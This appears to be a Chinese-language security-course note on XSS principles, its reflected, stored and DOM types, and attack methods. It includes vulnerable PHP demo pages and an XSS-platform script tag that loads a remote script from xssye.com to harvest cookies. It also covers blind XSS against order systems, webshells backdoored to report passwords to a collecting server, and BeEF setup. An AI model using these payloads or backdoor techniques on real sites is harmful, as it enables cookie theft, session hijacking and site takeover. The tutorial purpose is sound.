25.XSS跨站原理分类和攻击手法
文章目錄
- XSS跨站原理分類和攻擊手法
- 知識匯總
- XSS 跨站漏洞
- 1. XSS簡介
- 2. 產生層面
- 3. 函數(shù)類
- 4. 漏洞操作對應層
- 5. 危害影響
- 6. `瀏覽器內核版本`
- 7. 常出現(xiàn)場景
- XSS常見出現(xiàn)漏洞的地方
- XSS 跨站漏洞分類:
- 1. 反射型
- 2. 儲存型
- 3. DOM型
- 常用的DOM方法
- XSS 漏洞原理([轉自此博客](https://www.jianshu.com/p/4fcb4b411a66))
- 1. 反射型XSS
- 2. 存儲型XSS
- 3. DOM XSS
- XSS 常規(guī)攻擊手法:
- XSS平臺及工具使用 postman軟件
- XSS經典應用案例測試
- xss漏洞存在的地方
- cookie session
- Webshell后門中的后門
- Session與Cookie獲取問題
- 盜取Cookie的前提條件
- 演示案例:
- 1.某營銷訂單系統(tǒng)化xss盲打_平臺
- 2.某shell箱子系統(tǒng)xss盲打_工具
- 3.其他參考應用案例-后臺權限維持
- 4.工具http/s數(shù)據(jù)包提交postman使用
- 案例1:某營銷訂單系統(tǒng)化xss盲打_平臺
- 案例2:某 Shell 箱子系統(tǒng) XSS 盲打_工具
- 案例3:其他參考應用案例-后臺權限維持
- beef工具使用
- 下載beef
- 案例4:工具 Http/s 數(shù)據(jù)包提交 Postman 使用
- 5.XSS平臺的使用和搭建
- 涉及資源:
XSS跨站原理分類和攻擊手法
就是和html語言打交道
歸納很全的大佬文章
二十五:XSS跨站值原理分類及攻擊手法 - 九~月 - 博客園 (cnblogs.com)
知識匯總
XSS 跨站漏洞
1. XSS簡介
跨站腳本攻擊是指惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執(zhí)行,從而達到惡意攻擊用戶的目的。
攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型的漏洞由于被黑客用來編寫危害性更大的網(wǎng)絡釣魚(Phishing)攻擊而變得廣為人知。對于跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的“緩沖區(qū)溢出攻擊“,而JavaScript是新型的“ShellCode”。
xss漏洞通常是通過php的輸出函數(shù)將javascript代碼輸出到html頁面中,通過用戶本地瀏覽器執(zhí)行的,所以xss漏洞關鍵就是尋找參數(shù)未過濾的輸出函數(shù)。
2. 產生層面
產生層面一般都是在前端,JavaScript代碼能干什么,執(zhí)行之后就會達到相應的效果
3. 函數(shù)類
比如說php中的腳本的輸出函數(shù)
常見的輸出函數(shù)有:print、print_r、echo、printf、sprintf、die、var_dump、var_export
4. 漏洞操作對應層
5. 危害影響
-
盜取各類用戶帳號,如機器登錄帳號、用戶網(wǎng)銀帳號、各類管理員帳號
-
控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力
-
盜竊企業(yè)重要的具有商業(yè)價值的資料
-
非法轉賬
-
強制發(fā)送電子郵件
-
網(wǎng)站掛馬
-
控制受害者機器向其它網(wǎng)站發(fā)起攻擊
6. 瀏覽器內核版本
利用這個漏洞需要瀏覽器版本和內核沒有過濾XSS攻擊
ie 瀏覽器默認不行
7. 常出現(xiàn)場景
文章發(fā)表、評論、留言、注冊資料的地方、修改資料的地方等
XSS常見出現(xiàn)漏洞的地方
數(shù)據(jù)交互的地方§ get、post、cookies、headers§ 反饋與瀏覽§ 富文本編輯器§ 各類標簽插入和自定義 數(shù)據(jù)輸出的地方§ 用戶資料§ 關鍵詞、標簽、說明§ 文件上傳XSS 跨站漏洞分類:
1. 反射型
<非持久化> 攻擊者事先制作好攻擊鏈接, 需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現(xiàn)在搜索頁面。
(雖然還有種DOM型XSS,但是也還是包括在反射型XSS內)
為什么叫反射型XSS呢?
那是因為這種攻擊方式的注入代碼是從目標服務器通過錯誤信息,搜索結果等方式反射回來的。
為什么又叫非持久性XSS呢?
那是因為這種攻擊方式只有一次性。
發(fā)包 x=xiaodi => x.php => 回包
2. 儲存型
<持久化> 代碼是存儲在服務器中的,如在個人信息或發(fā)表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,每當有用戶訪問該頁面的時候都會觸發(fā)代碼執(zhí)行,這種XSS非常危險,容易造成蠕蟲,大量盜竊cookie(。
為什么又叫持久性XSS?
那是因為這種攻擊方式,是直接把惡意代碼存入到數(shù)據(jù)庫中,那么下一次當其他用戶訪問該文章的時候,服務器會從數(shù)據(jù)庫中讀取后然后響應給客戶端,那么瀏覽器就會執(zhí)行這段腳本。
發(fā)包 x=xiaodi => x.php (后端代碼)=> 寫到數(shù)據(jù)庫某個表 => x.php =>回顯
3. DOM型
DOM可以被認為是一種通過將頁面元素以對象的樹形方式表現(xiàn),以便由Javascript組織處理的實現(xiàn)方法。
例如嗶哩嗶哩評論就是用dom型加載的,url 不用改,簡單理解:請求時,加載頁面數(shù)據(jù)的展現(xiàn)形式不一樣
常用的DOM方法
用戶可通過 JavaScript (以及其他編程語言)對 HTML DOM 進行訪問。所有 HTML 元素被定義為對象,而編程接口則是對象方法和對象屬性。
基于文檔對象模型Document Objeet Model,DOM)的一種漏洞。DOM是一個與平臺、編程語言無關的接口,它允許程序或腳本動態(tài)地訪問和更新文檔內容、結構和樣式,處理后的結果能夠成為顯示頁面的一部分。DOM中有很多對象,其中一些是用戶可以操縱的,如uRI ,location,refelTer等。客戶端的腳本程序可以通過DOM動態(tài)地檢查和修改頁面內容,它不依賴于提交數(shù)據(jù)到服務器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒有經過嚴格確認,就會產生DOM XSS漏洞。
發(fā)包 x=xiaodi => 本地瀏覽器靜態(tài)前端代碼 =x.php
一個是后端語言進行數(shù)據(jù)處理 dom 屬于用js代碼經行處理可以從源代碼分析dom xss漏洞代碼:
XSS 漏洞原理(轉自此博客)
1. 反射型XSS
在黑盒測試中,這種類型比較容易通過漏洞掃描器直接發(fā)現(xiàn),我們只需要按照掃描結果進行相應的驗證就可以了。
相對的在白盒審計中, 我們首先要尋找?guī)?shù)的輸出函數(shù),接下來通過輸出內容回溯到輸入?yún)?shù),觀察是否過濾即可。
無案例不足以求真,這里我們選用echo()函數(shù)作為實例來分析:
新建 XssReflex.php,代碼如下:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS</title> </head> <body> <form action="" method="get"> <input type="text" name="input"> <input type="submit"> </form> <br> <?php $XssReflex = $_GET['input']; echo 'output:<br>'.$XssReflex; ?> </body> </html>這是一個很簡單、也很常見的頁面:
變量 $XssReflex 獲取 get 方式傳遞的變量名為 input 的變量值(值為一個字符串),然后直接通過echo()函數(shù)輸出,注意這中間并未對用戶輸入進行任何過濾。
打開Firefox輸入url:https://localhost/codeaudit/xss/XssReflex.php :
當我們輸入 1 ,頁面返回 1 :
當我們輸入hello時,頁面返回 hello :
以上都為正常的輸出,但如果我們輸出一些JavaScript代碼呢?
比如我們輸入 :s
可以看到瀏覽器成功彈窗,說明我們輸出的JavaScript代碼成功被執(zhí)行了。
我們查看網(wǎng)頁html代碼:
第12行增加了:
<script>alert('xss')</script>這個彈窗并沒有什么實際的意義,但通過它我們知道輸入javascript代碼是可以被執(zhí)行的,當我們輸入一些其他函數(shù),比如 document.cookie 就可以成功盜取用戶的cookie信息,或者讀取用戶瀏覽器信息等,為我們進一步深入攻擊做鋪墊。
2. 存儲型XSS
和反射性XSS的即時響應相比,存儲型XSS則需要先把利用代碼保存在比如數(shù)據(jù)庫或文件中,當web程序讀取利用代碼時再輸出在頁面上執(zhí)行利用代碼。但存儲型XSS不用考慮繞過瀏覽器的過濾問題,屏蔽性也要好很多。
存儲型XSS攻擊流程:
存儲型XSS的白盒審計同樣要尋找未過濾的輸入點和未過濾的輸出函數(shù)。
使用cat命令查看 XssStorage.php 代碼
shiyanlou:~/ $ cat XssStorage.php代碼如下:
<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <html> <head> <title>XssStorage</title> </head> <body> <h2>Message Board<h2> <br><form action="XssStorage.php" method="post"> Message:<textarea id='Mid' name="desc"></textarea> <br> <br> Subuser:<input type="text" name="user"/><br> <br><input type="submit" value="submit" οnclick='loction="XssStorage.php"'/> </form> <?php if(isset($_POST['user'])&&isset($_POST['desc'])){ $log=fopen("sql.txt","a"); fwrite($log,$_POST['user']."\r\n"); fwrite($log,$_POST['desc']."\r\n"); fclose($log); } if(file_exists("sql.txt")) { $read= fopen("sql.txt",'r'); while(!feof($read)) { echo fgets($read)."</br>"; } fclose($read); } ?> </body> </html></span>頁面功能簡述:
這個頁面采用POST提交數(shù)據(jù),生成、讀取文本模擬數(shù)據(jù)庫,提交數(shù)據(jù)之后頁面會將數(shù)據(jù)寫入sql.txt,再打開頁面時會讀取sql.txt中內容并顯示在網(wǎng)頁上,實現(xiàn)了存儲型xss攻擊模擬。
打開Firefox輸入url:localhost/codeaudit/xss/XssStorage.php :
我們隨意輸出一些內容:
可以看到頁面正常顯示頁面留言信息。
當我們在Message中輸入<script>alert('xss')</script>時,頁面成功彈窗 :
并且我們重啟瀏覽器之后再加載該頁面,頁面依然會彈窗,這是因為惡意代碼已經寫入數(shù)據(jù)庫中,每當有人訪問該頁面時,惡意代碼就會被加載執(zhí)行!
我們查看網(wǎng)頁html代碼:
這就是所謂的存儲型XSS漏洞,一次提交之后,每當有用戶訪問這個頁面都會受到XSS攻擊,危害巨大。
3. DOM XSS
? 特殊的存反射型XSS
自己的理解:漏洞就在htmL代碼里實現(xiàn) 知識點:php代碼在客戶端是顯示執(zhí)行后的結果 html代碼 在服務端和客戶端看是一樣的 通過javascript 操作代碼這種情況稱為dom型XSS 常規(guī)攻擊手法:
平臺,工具,結合其他等
攻擊成功的條件:對方有漏洞,瀏覽器存有cookie,瀏覽器不進行攔截,不存在帶代碼過濾和httponly,對方要觸發(fā)這個漏洞地址
1、xss平臺 https://xssye.com
<sCRiPt sRC=http://xssye.com/fX8W></sCrIpT>2、工具
3、結合其他漏洞 CSRF跨站請求偽造
XSS平臺及工具使用 postman軟件
WEBSHELL箱子管理系統(tǒng) 用beef反拿到訂單管理系統(tǒng)的shell,進行社工,以及釣魚各種操作。XSS經典應用案例測試
xss漏洞存在的地方
留言板 評論區(qū) 訂單系統(tǒng) 意見反饋等cookie session
用戶憑據(jù):通過憑據(jù)可以判斷對方身份信息
cookie 存儲本地 存活時間較長 小中型企業(yè)
session 會話 存儲服務器 存活時間較短 大型企業(yè) 會話劫持
session會占用服務器的資源,但是比較安全。比如說javaweb中的session序列化和反序列化。
Webshell后門中的后門
webshell箱子
Session與Cookie獲取問題
XSS盲打:瞎打,只要存在一處就行。
拿到cookie還得查看是否是cookie驗證還是session驗證獲取phpinfo界面里面的session id ,用xss平臺拿網(wǎng)頁源碼。beef讓用戶訪問phpinfo信息
document.cookie等
配合讀取phpinfo等信息源碼等
盜取Cookie的前提條件
網(wǎng)站存在xss漏洞
管理員保存密碼(有cookie)
瀏覽器內核滿足(不是ie)
演示案例:
1.某營銷訂單系統(tǒng)化xss盲打_平臺
2.某shell箱子系統(tǒng)xss盲打_工具
3.其他參考應用案例-后臺權限維持
4.工具http/s數(shù)據(jù)包提交postman使用
案例1:某營銷訂單系統(tǒng)化xss盲打_平臺
待完成
管理后臺查看:
xss平臺:
案例2:某 Shell 箱子系統(tǒng) XSS 盲打_工具
跨站漏洞可以應用在很多方面
webShell 箱子(后門中的后門) 一句話shell,腳本后門(大馬),腳本控制網(wǎng)站,別有用心的人會在腳本中再寫上后面,你入侵一個網(wǎng)站之后,你用他的后門腳本對網(wǎng)站進行一個控制,那么入侵網(wǎng)站的信息,你的后門地址,后門密碼,會發(fā)送到一個地方,俗稱
箱子、信封。
把你的后門地址和密碼傳回…
網(wǎng)上很多工具大馬都有后門,把記錄上傳到他們那獲利,自己成為工具人。
參考鏈接 https://blog.csdn.net/xf555er/article/details/105151100使用的時候可以抓包看是否向不明地址發(fā)數(shù)據(jù)包,如果它發(fā)送的是賬戶密碼之類,在箱子管理頁面有回顯,那我們可以構造xss腳本反殺
本地搭建
用大馬它會調用腳本發(fā)送到盒子
3、隨意構造一個一句話木馬,然后再一句話木馬代碼里插入javascript語句來制作后門(調用webshell箱子里的api.asp文件)。
4、當你插入這個一句話木馬在某個網(wǎng)頁,它會發(fā)送這個網(wǎng)頁的url以及一句話木馬的密碼到后門服務器
5、當我們使用一些大馬時可以通過抓包來判斷是否有后門
當我們找到后門服務器的地址后,可以通過插入XSS語句來反殺后門
利用burp抓到發(fā)送到后門服務器的包,將發(fā)送的參數(shù)修改成xss代碼
然后去后門服務器地址看一下,出現(xiàn)彈窗
案例3:其他參考應用案例-后臺權限維持
beef工具使用
這里發(fā)現(xiàn)下載太慢了
把之前阿里的換中科的源
下載beef
sudo apt-get install beef-xss修改默認密碼,記得重啟電腦或者殺死beef進程才能生效。
案例4:工具 Http/s 數(shù)據(jù)包提交 Postman 使用
添加cookie,后成功跳轉后臺
因為采用的是session驗證, 那么xss平臺是接收不到PHPSESSION的,
session 是存儲在網(wǎng)站服務器的。
5.XSS平臺的使用和搭建
搭建藍蓮花xss測試平臺
(可以github 自己搭建)
大多數(shù)的xss平臺都類似
XSS Platform我自己注冊的
https://xsshs.cn/xss.php?do=login
涉及資源:
http://xss.fbisb.com/ XSS平臺
https://xssye.com XSS平臺
https://github.com/tennc/webshell
https://www.postman.com/downloads/ Postman工具下載
參考博客:
https://blog.csdn.net/MCTSOG/article/details/123432298
https://blog.csdn.net/zr1213159840/article/details/122287072
https://www.jianshu.com/p/4fcb4b411a66
總結
以上是生活随笔為你收集整理的25.XSS跨站原理分类和攻击手法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 批量保存打开的网页到本地
- 下一篇: 西柚SWPU新生赛(场外同步赛)misc